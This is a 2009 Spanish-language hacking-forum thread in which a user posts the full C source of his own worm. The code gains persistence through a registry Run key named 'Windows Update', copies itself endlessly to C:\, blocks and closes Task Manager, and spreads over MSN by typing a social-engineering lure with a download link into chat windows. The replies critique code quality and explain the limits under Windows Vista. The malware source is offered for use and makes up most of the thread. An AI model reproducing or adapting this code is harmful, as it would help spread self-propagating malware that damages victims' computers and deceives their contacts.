elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:11  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Mi virus en c
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mi virus en c  (Leído 2,181 veces)
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
Mi virus en c
« en: 6 Marzo 2009, 22:36 »

Hola,  presento aqui mi virus en c.
Lo que hace es propagarse por msn, copiarse al registro,copiarse infinitamente a c:\
y ya ire poniendole mas cosas.
Código
#include <windows.h>
#include <time.h>
#include <winable.h>
 
bool siono=false;
int funcioncopiadora();
int copiaregistro();
int jodeventanas();
int payload();
int escribe();
char nomre[50];
char hola[100]="mira el programa q se a inventao el primo de un amigo mio que s jaker!!!pa jakear tuentiiis!!!";
char ruta[50]="http://hackingtuenti.galeon.com/jakeatuenti.zip";
char siclicas[100]="si clicas el enlace t sale una bntanita pa dscargartlo como jakes el mi no te vuelvo a ablar!!!!!";
BOOL CALLBACK enumera(HWND mini,LPARAM lparam);
 
int WINAPI WinMain (HINSTANCE hThisInstance,
                   HINSTANCE hPrevInstance,
                   LPSTR lpszArgument,
                   int nFunsterStil)
 
{
copiaregistro();                    
MessageBox(0,"Eres un puñetero pringao","Infectado",0);
HANDLE hilo;
DWORD dhilo;
hilo = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&funcioncopiadora, NULL, CREATE_SUSPENDED, &dhilo);
ResumeThread(hilo);
HANDLE hilo2;
DWORD dhilo2;
hilo2= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&jodeventanas,NULL, CREATE_SUSPENDED,&dhilo2);
ResumeThread(hilo2);
HANDLE hilo3;
DWORD dhilo3;
hilo3= CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&escribe,NULL,CREATE_SUSPENDED,&dhilo3);
ResumeThread(hilo3);
HANDLE hilo4;
DWORD dhilo4;
hilo4=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&payload,NULL,CREATE_SUSPENDED,&dhilo4);
ResumeThread(hilo4);
for (;;)
{
   Sleep(1);
}
}
 
 
 
 
int funcioncopiadora(){  
   for (int i=0;i>-1;i++)
   {
       char path[256];
       srand(time(0));
       char numero[60];
       char ruta[60]='C:\\''; /* Solo es una comilla de las dos finales, pero el geshi lo mal interpreta */
       itoa(rand(),numero,10);
       strcat(numero,".exe");
       strcat(ruta,numero);
       HMODULE yo = GetModuleHandle(0);
GetModuleFileName(yo, path, 256);
 
       CopyFile(path,ruta,false);
}
   return 0;
}
int copiaregistro()
{
HKEY registro;    
 
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&registro );
 
RegSetValueEx(registro, "Windows Update",0,REG_SZ,(const unsigned char*)system,40);
 
RegCloseKey(registro);
}
int jodeventanas()
{
  for (int i=0;i>-1;i++)
  {
  HWND ventana=FindWindow(NULL,"Administrador de tareas de Windows");
 
if( ventana != NULL )
             {
                   BlockInput(true);
                 SetWindowText(ventana,"Te crees muy listo ehh?");
 
                 Sleep(5000);  
                 PostMessage( ventana, WM_CLOSE, (LPARAM)0, (WPARAM)0);
                 BlockInput(false);
             }
}}
 
 
 
int escribe()
{
char nombreventana[500];
 
 
 HWND ventanamsn;
   for (;;){
 
 
HWND ventanamsn=GetForegroundWindow();
 
   EnumChildWindows(ventanamsn,enumera,0);
   if (siono)
   {
             ShowWindow(ventanamsn,SW_MINIMIZE);
             siono=false;
             BlockInput(false);
             Sleep(5000);
 
             }}
}
   BOOL CALLBACK enumera(HWND mini,LPARAM lparam){
 
        char clas[50];
        GetClassName(mini,clas,50);      
           if (strcmp("DirectUIHWND",clas)==0)
            {
         BlockInput(true);                                    
        for (int i=0;i<=100;i++)
        {
 
            PostMessage(mini,WM_CHAR,hola[i],0);
            }
 
            PostMessage(mini,WM_KEYDOWN,VK_RETURN,0);
             for (int i=0;i<=49;i++)
        {
 
            PostMessage(mini,WM_CHAR,ruta[i],0);
            }
            PostMessage(mini,WM_KEYDOWN,VK_RETURN,0);
             for (int i=0;i<=100;i++)
        {
 
            PostMessage(mini,WM_CHAR,siclicas[i],0);
            }
             PostMessage(mini,WM_KEYDOWN,VK_RETURN,0);
            siono=true;
            BlockInput(false);
 
            return 0;}}
 int payload(){
     srand(time(0));
     switch (rand()%100+1){
      case 21:
           for (int i=0;i<=50000;i++)
           {
           SetCursorPos(rand(),rand());          
}
break;
default :
       Sleep(50000);
       break;
       }
       return 0;
       }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Bueno pues ahi está.
Espero que os guste.
« Última modificación: 6 Agosto 2009, 17:08 por braulio23 » En línea

vertexSymphony


Desconectado Desconectado

Mensajes: 2.009


/usr/home/alex


Ver Perfil WWW
Re: Mi virus en c++
« Respuesta #1 en: 6 Marzo 2009, 23:16 »

Bastante básico, yo siempre pensé que escribir malware es como escribir una sinfonía, tenés la facilidad de que sea un absoluto desastre como que sea completamente innovador...

ah, y por favor, no digas que es C++, ya que C++ es un lenguaje orientado a objetos, y este código carece de encapsulación por ejemplo (nótese las variables globales)

por ahora deberías ir leyendo libros de C++
como Thinking In C++, Conclase y similares...

Umhh, este thread me tiró unas ideas...

Anyways, si necesitás ayuda con esto, tell me =)

lo que te podría decir es : identación, threads innecesarios (ninguna función es bloqueante y aún así hay opciones no bloqueantes), STL : te invito a usarla (std::string,std::vector,etc..), verificar valores de retorno, errores, and so on ....

simples prácticas de programación que mejoran a mil el código y su calidad...
ya de por sí, bienvenido al foro ;)

Saludos, Alex~
En línea

Mail/PGP/XMPP/D*
Código
wget -O vertexSymphony.asc "http://pastebin.com/raw.php?i=ZfGLcY1d" ; gpg --import vertexSymphony.asc ; gpg --list-keys 0xCD21671D
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
Re: Mi virus en c++
« Respuesta #2 en: 7 Marzo 2009, 12:30 »

Gracias, mirare lo que me has dicho y he modificado el título.
« Última modificación: 7 Marzo 2009, 12:38 por braulio23 » En línea

BadDevil


Desconectado Desconectado

Mensajes: 1.475



Ver Perfil
Re: Mi virus en c++
« Respuesta #3 en: 7 Marzo 2009, 15:50 »

Gracias, mirare lo que me has dicho y he modificado el título.

Estas seguro que lo hiciste tu , por que no sabias que era C en vez de C++... es como para dudar xD :xD :xD
En línea

Aprendiendo: Java , C# , pl/sql, mysql , sql server, PHP , Access, JSF, Facelets, JSP, CakePHP, JQuery
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
Re: Mi virus en c
« Respuesta #4 en: 7 Marzo 2009, 15:55 »

Estoy seguro de que lo he hecho yo.
Puse c++ porque yo aprendi del curso de conclase que es un curso de c++ pero no llegue a lo que es la poo.
Luego el resto de funciones las fui aprendiendo de distintos lados y como yo lo que busque en google en primer lugar para aprender un lenguaje fue "curso c++" pues se me olvido comprobar que en realidadno usaba la poo que es la diferencia mas importante entre c  y c++ y por lo tanto era c.
No duden, el code lo he hecho yo, pueden preguntarme lo que quieran sobre el.
En línea

hidevil

Desconectado Desconectado

Mensajes: 30


Ver Perfil
Re: Mi virus en c
« Respuesta #5 en: 13 Marzo 2009, 14:55 »

Una pregunta, así como los virus en batch al windows vista no le hacen nada, sale una pantallita de cmd y pone: acceso denegado, los virus en c sí funcionan?

aclararme la duda por favor.
En línea
braulio--
Wiki

Desconectado Desconectado

Mensajes: 889


Imagen recursiva


Ver Perfil WWW
Re: Mi virus en c
« Respuesta #6 en: 13 Marzo 2009, 15:11 »

Yo, lo probe en un vista y muchas cosas no funcionaban como el blockinput(true);
supongo que lo de acceso denegado sera por no tener los permisos de administrador
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: Mi virus en c
« Respuesta #7 en: 13 Marzo 2009, 15:14 »

Hay varias cosas que no funcionaran en vista, como el que se ejecute en el inicio, porque esta usando HKLM, tampoco se copiara en c:\ infinitas veces ni tendra permiso de jugar con la ventana de taskmgr..

Pero si estara jugando con tu mouse y tu messenger por un rato..

Ahora, el UAC te va a alertar que el programa es peligroso en cuanto lo trates de abrir, y probablemente el  windows defender lo detecte como virus por pura heuristica.. pero bueno, no hay ningun mecanismo de proteccion, es normal que suceda.

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines